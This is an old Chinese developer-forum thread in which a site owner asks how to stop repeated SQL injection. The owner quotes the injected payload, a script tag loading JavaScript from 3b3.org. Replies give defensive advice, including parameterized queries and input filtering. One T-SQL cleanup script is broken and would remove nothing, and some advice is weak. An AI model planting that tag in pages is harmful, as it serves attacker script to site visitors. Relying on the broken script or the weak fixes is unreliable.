数据库被注入功击？

liuchengren 2009-07-20 04:06:45

最近做了一个网站，数据库采用SQL2000，也被(<script src=http://3b3.org/c.js></script>)多次注入功击.
估计是数据库密码被人盗了，后来进行了连接串加密，还是被功击，
后来又有DELPHI写DLL文件来加加密连接串，一样被功击。

现在用加密文件来保存连接串，并且文件路在传参时已进行加密，解密是用DELPHI写的DLL来处理的，还是被功击，

小弟无语了，望高手支招。谢谢！

...全文

179 21 打赏收藏转发到动态举报

写回复

用AI写文章

21 条回复

切换为时间正序

请发表友善的回复…

发表回复

皓月明 2009-09-25

打赏
举报

被注入后真头疼

tkscascor 2009-07-31

打赏
举报

传参数可以叫简单的避免. 还有存储过程也不要动态拼接. 要不就用一些httphandler.什么的进行检查,过滤一些关键字.

jieon 2009-07-31

打赏
举报

参考：
http://topic.csdn.net/u/20090729/14/26381958-0D6E-4B90-BC90-D275E9621F93.html#top

VistaKobe 2009-07-31

打赏
举报

友情帮顶！

virus7581 2009-07-31

打赏
举报

wuyq11 2009-07-30

打赏
举报

是否存在注入漏洞，通过存储过程操作数据
在global里进行判断

删除注入脚本
DECLARE @fieldtype sysname
SET @fieldtype='varchar'
--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ','''','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'
参考

marvelstack 2009-07-30

打赏
举报

注入的关键是你的SQL语句是否有漏洞，最常见的是拼串方式，

要完全避免请使用参数化SQL语句和存储过程，当然也不能给参数传递拼的SQL语句，如果传了需要进行判断处理。

根据这个原理，你SQL有漏洞，不管用什么语言开发程序都避免不了注入。

前进中的飞鸟 2009-07-29

打赏
举报

这个一般是搜索框注入的，楼主把网站的搜索框限制输入长度就行了（15个字符）

slund 2009-07-29

打赏
举报

使用参数化的语句来传递用户输入的变量，参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施，可以杜绝大部分的SQL注入式攻击。

CS软件开发框架 2009-07-28

打赏
举报

这里有详细解答:

http://www.vjsdn.com/bbs/bbsTopicDetails.aspx?pid=448

--------------------------------------------------------------------

1. 用参数形式写入Sql ,不能用组合SQL写入数据,如: insert into abc(xx) values ('<script>')

2. 屏蔽注入点, post.aspx?type=1&username=csdn 在page_load内检查Url参数,如果类型不符就跳出页面
最好不用字符串传参数,用数字最佳,可屏蔽js注入

3.重写 protected override void OnLoad(EventArgs e)方法
写个类如CRequestChecker.CheckRequestAll(this);
这个方法代码如下.

4. Replace 关键字

转自 www.vjsdn.com